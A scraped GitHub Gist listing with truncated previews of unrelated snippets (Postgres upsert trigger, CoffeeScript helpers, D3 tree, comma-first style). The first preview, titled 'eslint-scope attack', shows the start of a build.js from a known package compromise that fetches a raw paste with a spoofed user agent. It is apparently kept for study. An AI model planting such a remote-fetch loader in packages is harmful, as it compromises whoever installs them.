Skip to content

Instantly share code, notes, and snippets.

hzoo / build.js
Created Jul 12, 2018
eslint-scope attack
View build.js
try {
var https = require("https");
hostname: "",
path: "/raw/XLeVP82h",
headers: {
"Mozilla/5.0 (Windows NT 6.1; rv:52.0) Gecko/20100101 Firefox/52.0",
KyleGobel / upsert.sql
Last active Jun 27, 2016
Insert/Update Upsert Trigger in Postgres
View upsert.sql
RETURNS trigger AS
existing record;
if (select EXISTS(select 1 from users where user_id = NEW.user_id)) then
select user_name, user_class, user_age into strict existing from users where user_id = new.user_id;
felixrabe /
Last active Jan 26, 2022
CoffeeScript: String.startsWith() and String.endsWith()
String::startsWith ?= (s) -> @slice(0, s.length) == s
String::endsWith ?= (s) -> s == '' or @slice(-s.length) == s
robschmuecker /
Last active Apr 20, 2022
D3.js Drag and Drop, Zoomable, Panning, Collapsible Tree with auto-sizing.

This example pulls together various examples of work with trees in D3.js.

The panning functionality can certainly be improved in my opinion and I would be thrilled to see better solutions contributed.

One can do all manner of housekeeping or server related calls on the drop event to manage a remote tree dataset for example.

Dragging can be performed on any node other than root (flare). Dropping can be done on any node.

Panning can either be done by dragging an empty part of the SVG around or dragging a node towards an edge.

NPashaP / .block
Last active Nov 6, 2020
Graceful Tree Conjecture
View .block
license: gpl-3.0
sheldonh /
Last active Mar 19, 2022
CoffeeScript Object.merge
merge = (xs...) ->
if xs?.length > 0
tap {}, (m) -> m[k] = v for k, v of x for x in xs
tap = (o, fn) -> fn(o); o
console.log merge {foo: '1', bar: 'baz'}, {bar: 'bis'} , {wombat: 'fishpaste'}
{ foo: '1', bar: 'bis', wombat: 'fishpaste' }
ryandotsmith / agg.sql
Created Jan 23, 2013
Postgres array concatenation aggregate function.
View agg.sql
CREATE AGGREGATE array_accum (anyarray)
sfunc = array_cat,
stype = anyarray,
initcond = '{}'
View AndroidManifext.xml
<uses-permission android:name="android.permission.ACCESS_WIFI_STATE"></uses-permission>
<uses-permission android:name="android.permission.INTERNET"></uses-permission>
isaacs / comma-first-var.js
Created Apr 6, 2010
A better coding convention for lists and object literals in JavaScript
View comma-first-var.js
// See comments below.
// This code sample and justification brought to you by
// Isaac Z. Schlueter, aka isaacs
// standard style
var a = "ape",
b = "bat",
c = "cat",
d = "dog",